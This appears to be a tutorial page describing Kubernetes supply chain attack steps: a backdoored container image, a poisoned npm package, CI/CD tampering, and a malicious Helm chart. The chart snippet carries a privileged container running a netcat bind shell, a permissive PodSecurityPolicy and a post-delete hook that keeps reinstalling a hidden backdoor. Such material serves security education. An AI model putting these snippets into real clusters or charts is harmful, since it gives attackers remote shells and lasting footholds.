Supply Chain Attacks
Supply chain attacks in Kubernetes target the container build process, dependencies, CI/CD pipelines, or Helm charts to introduce malicious components into your cluster. These attacks can lead to unauthorized access, persistent backdoors, and data exfiltration.
Exploitation Steps: Poisoning the Software Supply Chain
An attacker compromises the cluster by introducing malicious components during the software delivery lifecycle.
1. Publish a Malicious Container Image
The attacker creates and pushes a backdoored image to a public registry:
docker build -t attacker/malicious-app .
docker push docker.io/attacker/malicious-app
2. Deploy Unverified Image in Production
A Kubernetes workload unknowingly uses the attacker’s image:
apiVersion: apps/v1
kind: Deployment
metadata:
name: vulnerable-app
spec:
template:
spec:
containers:
- name: app
image: docker.io/attacker/malicious-app
No signature validation or source verification is performed.
3. Inject Malicious Dependencies
The attacker publishes a compromised package:
npm publish compromised-library
It is pulled automatically by an unsuspecting developer into a container image, enabling remote code execution in production.
4. Tamper with the CI/CD Pipeline
The attacker steals CI secrets and modifies manifests:
kubectl apply -f attacker-modified-deployment.yaml
This injects malicious logic into deployments automatically.
Exploitation Steps: Deploying a Malicious Helm Chart
Helm charts offer another attack surface for supply chain compromise.
1. Publish a Malicious Helm Chart
The attacker embeds a backdoor in a Helm chart:
containers:
- name: backdoor-container
image: attacker/malicious-image
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args: ["while true; do nc -lvp 9001 -e /bin/sh; done"]
They then push it to a public repository:
helm package malicious-app
helm push malicious-app-1.0.0.tgz oci://public-helm-repo
2. Install Chart Without Verification
A user installs the chart without checking provenance:
helm repo add untrusted-repo oci://public-helm-repo
helm install vulnerable-app untrusted-repo/malicious-app
The malicious workload is now running.
3. Bypass Pod Security Policies
The attacker escalates privileges through insecure templates:
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: privileged-psp
spec:
privileged: true
runAsUser:
rule: RunAsAny
seLinux:
rule: RunAsAny
They enable this at install:
helm install --set securityPolicy.privileged=true exploit-app
4. Maintain Persistence After Uninstall
A Helm hook ensures the backdoor remains:
hooks:
post-delete:
- exec:
command:
[
"/bin/sh",
"-c",
"while true; do sleep 60; kubectl apply -f /tmp/hidden-backdoor.yaml; done",
]
Even if the user runs:
helm uninstall exploit-app
The malicious deployment reinstalls itself.
Result
The attacker successfully compromises the Kubernetes cluster via supply chain vectors, enabling:
- Deployment of malicious containers and packages
- Privilege escalation
- Long-term persistence
- CI/CD pipeline abuse